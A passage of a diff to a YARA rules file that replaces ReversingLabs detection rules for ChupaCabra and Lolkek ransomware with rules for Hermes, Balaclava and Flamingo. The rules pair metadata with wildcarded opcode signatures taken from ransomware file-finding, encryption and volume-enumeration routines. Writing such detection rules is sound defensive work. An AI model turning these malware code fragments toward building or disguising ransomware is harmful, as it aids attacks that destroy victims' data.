+            66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ?? ?? 6A
+            ?? 58 66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ?? ?? 33 C0 66 89 7D ?? 66 89 7D
+            ?? 8D BD ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? 66 89 8D
+        }
+		$hermes_find_files_v2_p3 = {
+            AB AB AB 66 AB 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D
+            45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ??
+            50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
+            59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85
+            C0 0F 84 ?? ?? ?? ?? 8B 7D ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45
+            ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59
+            59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0
+        }
+		$hermes_find_files_v2_p4 = {
+            0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 8D 45 ?? 50 8D 85
+            ?? ?? ?? ?? 50 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45
+            ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50
+            8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 8D
+            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? EB ?? 8B 7D ?? F6 85 ?? ?? ??
+            ?? ?? 74 ?? 53 E8 ?? ?? ?? ?? 59 FF 75 ?? 8D 85 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 50 53
+            E8 ?? ?? ?? ?? 59 59 50 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B F0 8D
+            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 2B F0 83 C4 ?? 33 C0 66 89 44 73 ?? 33 F6 8D 85 ??
+            ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 5F 5E
+            5B 8B E5 5D C3
+        }
+		$hermes_enum_resources_v2 = {
+            55 8B EC 83 EC ?? 53 56 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? 33 DB C7 45 ??
+            ?? ?? ?? ?? 53 53 6A ?? 89 5D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ??
+            6A ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D
+            45 ?? 50 56 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 7E ?? 6A ?? 58 66
+            39 07 75 ?? 66 39 47 ?? 75 ?? 50 8D 47 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 57 FF
+            75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? F7 46 ?? ?? ??
+            ?? ?? 74 ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 33 C0 5F 5E 5B 8B E5 5D C3
+            33 C0 40 EB
         }
 
 	condition:
-		uint16(0)==0x5A4D and $find_files and $decrypt_payload_script and ( all of ($remote_connection_*))
+		uint16(0)==0x5A4D and ((( all of ($hermes_find_files_v1_p*)) and ( all of ($hermes_encrypt_files_v1_p*))) or (( all of ($hermes_find_files_v2_p*)) and ( all of ($hermes_encrypt_files_v2_p*)))) and ( any of ($hermes_enum_resources_v*))
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Chupacabra : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Balaclava : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects ChupaCabra ransomware."
+		description = "Yara rule that detects Balaclava ransomware."
 		author = "ReversingLabs"
-		id = "e44a101d-53c3-51f2-84ca-f6a5858c169b"
-		date = "2021-10-12"
-		modified = "2021-10-12"
+		id = "1a17f2e8-f161-55bc-b44e-f8f47ebd9869"
+		date = "2020-10-01"
+		modified = "2020-10-01"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.ChupaCabra.yara#L1-L90"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "7f247778e0bd8057670abf42b2d1011ebae891ffcb21ebad50060f9a7986bf93"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Balaclava.yara#L1-L113"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "01b43e6ea7ceebdbdda7e1f7c5bd2439a460b8aed4a1837755fa3679e9893ff3"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -45031,81 +45483,104 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Chupacabra : TC_DETECTION MALICIOUS
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "ChupaCabra"
+		tc_detection_name = "Balaclava"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_p1 = {
-            7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 7E ?? ?? ?? ?? 28
-            ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 14 0A 14 0B 7E ?? ?? ?? ?? 7E ?? ??
-            ?? ?? 73 ?? ?? ?? ?? 0C 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 09 73 ?? ?? ?? ?? 13 ?? 73 ??
-            ?? ?? ?? 0A 06 08 06 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 11 ?? 28 ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 06 06 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11
-            ?? 11 ?? 16 73 ?? ?? ?? ?? 13 ?? 11 ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 0B DE
-            ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ??
-            11 ?? 6F ?? ?? ?? ?? DC 06 2C ?? 06 6F ?? ?? ?? ?? DC 07 2A
-        }
-		$encrypt_files_p2 = {
-            02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 02 28 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 0A 02 06 28 ?? ?? ?? ?? 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 38 ?? ??
-            ?? ?? 02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 20 ?? ?? ?? ?? 8D ?? ??
-            ?? ?? 0B 02 19 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C 08 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 0D 09 07 09 8E 69 28 ?? ?? ?? ?? DE ?? 08 2C ?? 08 6F ?? ?? ?? ?? DC 02 19 28
-            ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 07 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ??
-            ?? ?? ?? DC 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 26 02 28
-            ?? ?? ?? ?? 13 ?? 11 ?? 17 5F 17 33 ?? 11 ?? 17 28 ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ??
-            ?? ?? 02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 02 28 ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 38 ?? ?? ?? ?? 02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 20 ?? ?? ??
-            ?? 8D ?? ?? ?? ?? 13 ?? 02 19 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ??
-            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 02 19 28
-            ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F
-            ?? ?? ?? ?? DC 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? DE ?? 26 DE ??
-            2A
-        }
 		$find_files_p1 = {
-            02 28 ?? ?? ?? ?? 0A 02 28 ?? ?? ?? ?? 0B 16 0C 2B ?? 06 08 9A 28 ?? ?? ?? ?? 72 ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 08 9A 28 ?? ?? ?? ?? 08 17 58 0C 08 06 8E 69 32 ?? 16 0D
-            2B ?? 07 09 9A 28 ?? ?? ?? ?? 09 17 58 0D 09 07 8E 69 32 ?? DE ?? 26 DE ?? 2A
+            55 8B EC 83 EC ?? 53 56 8B 75 ?? 33 D2 57 6A ?? 5B 8B 7E ?? 89 55 ?? 8D 4F ?? 66 8B
+            07 03 FB 66 3B C2 75 ?? 2B F9 B9 ?? ?? ?? ?? D1 FF E8 ?? ?? ?? ?? 50 FF 76 ?? 89 45
+            ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 50 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B
+            45 ?? 83 C0 ?? 89 45 ?? 8B D8 33 D2 8D 4B ?? 66 8B 03 83 C3 ?? 66 3B C2 75 ?? 2B D9
+            D1 FB 8D 04 3B 3D ?? ?? ?? ?? 7C ?? 8D 04 45 ?? ?? ?? ?? 50 39 56 ?? 74 ?? FF 76 ??
+            52 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? EB ?? 52 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ??
+            ?? ?? 39 46 ?? 74 ?? 89 46 ?? 8B 46 ?? 33 C9 66 89 0C 78 8B 55 ?? F7 02 ?? ?? ?? ??
+            0F 85 ?? ?? ?? ?? 33 D2 8B C2 6A ?? 89 45 ?? 59 89 4D ?? 3B C1 7F ?? 03 C1 8B 4D ??
+            99 2B C2 D1 F8 89 45 ?? 8B 14 85 ?? ?? ?? ?? 66 8B 01 66 3B 02 75 ?? 66 85 C0 74 ??
+            66 8B 41 ?? 66 3B 42 ?? 75 ?? 83 C1 ?? 83 C2 ?? 66 85 C0 75 ?? 33 D2 8B C2 EB ?? 1B
+            C0 83 C8 ?? 33 D2 85 C0 0F 84 ?? ?? ?? ?? 79 ?? 8B 4D ?? 8B 45 ?? 49 EB ?? 8B 45 ??
+            8B 4D ?? 40 89 45 ?? EB ?? 8B 45 ?? F6 00 ?? 0F 84 ?? ?? ?? ?? 8D 04 5D ?? ?? ?? ??
+            50 8B 46 ?? FF 75 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? 8B 46 ??
+            66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1
+            ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7E ?? ?? 74
+            ?? 83 7E ?? ?? 7E ?? FF 76 ?? 8B 4E ?? FF 76 ?? E8 ?? ?? ?? ?? 59 59 8B 4E ?? 8D 14
         }
 		$find_files_p2 = {
-            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ??
-            ?? 1F ?? 8D ?? ?? ?? ?? 25 16 1E 28 ?? ?? ?? ?? A2 25 17 1F ?? 28 ?? ?? ?? ?? A2 25 18
-            1F ?? 28 ?? ?? ?? ?? A2 25 19 1F ?? 28 ?? ?? ?? ?? A2 25 1A 1F ?? 28 ?? ?? ?? ?? A2 25
-            1B 1B 28 ?? ?? ?? ?? A2 25 1C 1C 28 ?? ?? ?? ?? A2 25 1D 1F ?? 28 ?? ?? ?? ?? A2 25 1E
-            1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ??
-            A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1B 28 ??
-            ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ??
-            1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ??
-            A2 0A 16 0B 2B ?? 06 07 9A 28 ?? ?? ?? ?? 07 17 58 0B 07 06 8E 69 32 ?? 2A
+            3B A1 ?? ?? ?? ?? 56 89 44 51 ?? 66 A1 ?? ?? ?? ?? 66 89 44 51 ?? FF 46 ?? E8 ?? ??
+            ?? ?? FF 4E ?? E9 ?? ?? ?? ?? 39 56 ?? 0F 85 ?? ?? ?? ?? 8D 04 5D ?? ?? ?? ?? 50 8B
+            46 ?? FF 75 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 5E ?? 83 C4 ?? 8B CB B8 ?? ??
+            ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ??
+            83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B CB 8D
+            51 ?? 66 8B 01 83 C1 ?? 66 3B 45 ?? 75 ?? 2B CA D1 F9 83 F9 ?? 72 ?? 8B CB 8D 51 ??
+            66 8B 01 83 C1 ?? 66 3B 45 ?? 75 ?? 2B CA D1 F9 83 C1 ?? 68 ?? ?? ?? ?? 8D 04 4B 50
+            FF 15 ?? ?? ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 A8 ?? 74 ?? 83 E0 ??
+            50 FF 76 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BB ?? ?? ?? ?? 53 FF
+            15 ?? ?? ?? ?? EB ?? 85 C0 75 ?? 6A ?? 53 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0D ??
+            ?? ?? ?? 6A ?? 58 3B C8 A1 ?? ?? ?? ?? 74 ?? 83 F8 ?? 74 ?? FF 76 ?? A1 ?? ?? ?? ??
+            33 D2 6A ?? 03 C1 59 F7 F1 FF 34 95 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 05 ?? ?? ?? ??
+            FF 05 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 46 ?? 6A
+            ?? 59 66 89 4C 78 ?? 33 C9 8B 46 ?? 66 89 0C 78 FF 75 ?? 8B 5D ?? 53 FF 15 ?? ?? ??
+            ?? 85 C0 74 ?? 8B 45 ?? E9 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 5D ?? 33 FF 39 7E ??
+            75 ?? 89 3E 53 FF 15 ?? ?? ?? ?? 8B DF 8B 4D ?? E8 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5
+            5D C2
         }
-		$drop_ransom_note = {
-            7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 39 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ??
-            ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 7E ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 7E
-            ?? ?? ?? ?? A2 25 1A 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 7E ?? ?? ??
-            ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 7E ?? ?? ?? ?? A2 25 1A 72 ?? ?? ?? ?? A2 28 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 26 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 26 73 ?? ?? ?? ?? 0A 7E ?? ?? ?? ?? 0B 06 07 6F ?? ?? ?? ?? 26 2A
+		$encrypt_files_p1 = {
+            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 55 ?? 8B C1 89 45 ?? C7 45 ?? ?? ??
+            ?? ?? 33 F6 89 75 ?? 83 4D ?? ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75
+            ?? 56 68 ?? ?? ?? ?? 6A ?? 56 56 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ??
+            83 FB ?? 74 ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 0B 45 ?? 74 ??
+            8B FE EB ?? 33 FF 47 89 7D ?? 85 FF 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89
+            45 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? FF 75 ?? FF D0 8B C8 A1 ?? ?? ?? ?? EB ?? 8B
+            CE 85 C9 0F 84 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? FF 75 ?? FF D0 EB ?? 8B C6 85 C0 0F 84
+            ?? ?? ?? ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 8B 7D ?? 57 53 FF 15 ?? ?? ?? ?? 85 C0 75
+            ?? 83 CF ?? 89 7D ?? E9 ?? ?? ?? ?? 8B 45 ?? 3B C6 7C ?? 8B 4D ?? 7F ?? 81 F9 ?? ??
+            ?? ?? 76 ?? 81 E9 ?? ?? ?? ?? 1B C6 50 51 33 D2 8B CB E8 ?? ?? ?? ?? 59 59 23 C2 89
+        }
+		$encrypt_files_p2 = {
+            75 ?? 85 F6 75 ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 03 C7 50 53 FF 15 ?? ?? ??
+            ?? 8B FE 89 7D ?? EB ?? 56 56 6A ?? 5A 8B CB E8 ?? ?? ?? ?? 59 59 23 C2 8B FE 89 7D
+            ?? 85 FF 75 ?? 56 8D 45 ?? 50 6A ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
+            ?? ?? 8B 4D ?? FF 71 ?? FF 71 ?? 8D 41 ?? 50 FF 71 ?? 6A ?? 5A 8B 4D ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 0F B6 C0 23 F8 89 7D ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 8B 45 ?? FF 70
+            ?? FF 70 ?? 53 FF 15 ?? ?? ?? ?? 56 8D 45 ?? 50 8B 45 ?? FF 70 ?? FF 70 ?? 53 FF 15
+            ?? ?? ?? ?? 51 8B 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 45 ?? 50 8B 55 ?? 52
+            8B 4D ?? 8B 45 ?? 03 C1 50 52 51 51 8B 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 85 C0 75 ?? 56 8D 45 ?? 50 6A ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ??
+            ?? ?? 56 56 33 D2 8B CB E8 ?? ?? ?? ?? 59 59 56 8D 45 ?? 50 FF 75 ?? FF 75 ?? 53 FF
+            15 ?? ?? ?? ?? 83 7D ?? ?? 76 ?? 8B 45 ?? 2D ?? ?? ?? ?? 8B 4D ?? 1B CE 51 50 33 D2
+            8B CB E8 ?? ?? ?? ?? 59 59 56 8D 45 ?? 50 FF 75 ?? 8B 45 ?? 03 45 ?? 50 53 FF 15 ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 4D ?? ?? E8 ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? C3
+        }
+		$find_volumes = {
+            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 33 DB 53 8D 85 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 56 53 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 83 FF ?? 0F 84 ?? ?? ??
+            ?? 89 5D ?? 6A ?? 5B 8D B5 ?? ?? ?? ?? 8D 4E ?? 33 D2 66 8B 06 83 C6 ?? 66 3B C2 75
+            ?? 2B F1 D1 FE 66 39 9D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 66 39 9D ?? ?? ?? ?? 75 ?? 66
+            83 BD ?? ?? ?? ?? ?? 75 ?? 66 39 9D ?? ?? ?? ?? 75 ?? 66 39 9C 75 ?? ?? ?? ?? 75 ??
+            33 C0 66 89 84 75 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? 66 89 9C 75 ?? ?? ?? ?? 85 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 4D ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 7D ?? 57 FF 15 ??
+            ?? ?? ?? 8B 65 ?? E8 ?? ?? ?? ?? C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($drop_ransom_note)
+		uint16(0)==0x5A4D and ($find_volumes) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Lolkek : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Flamingo : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Lolkek ransomware."
+		description = "Yara rule that detects Flamingo ransomware."
 		author = "ReversingLabs"
-		id = "441badd6-3708-5f74-90f3-4d3a0fc45aff"
-		date = "2020-10-23"
-		modified = "2020-10-23"
+		id = "333ef1f9-ac54-5a3d-9b2b-50483eeb93e1"
+		date = "2021-04-14"
+		modified = "2021-04-14"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Lolkek.yara#L1-L106"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "d18545b25a33bba1a6e01ab37768bd4f15fb125dcb8cbe7909d9a8bbe08e63fa"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Flamingo.yara#L1-L54"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "446c0d332af01c0fceb0356d5ab273eb55764869cc8343468b75625e5d4d1036"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -45113,97 +45588,168 @@ rule REVERSINGLABS_Win32_Ransomware_Lolkek : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Lolkek"
+		tc_detection_name = "Flamingo"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
+		$find_files = {
+            68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ??
+            83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ??
+            ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15
+            ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08
+            C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ??
+            80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53
+            50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85
+            C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F
+            84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9
+        }
 		$encrypt_files = {
-            57 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ??
-            ?? ?? ?? B9 ?? ?? ?? ?? FF 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 3C 85 ?? ?? ?? ?? 40 99
-            F7 F9 89 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 8B CF E8 ?? ?? ?? ?? 85 C0 74
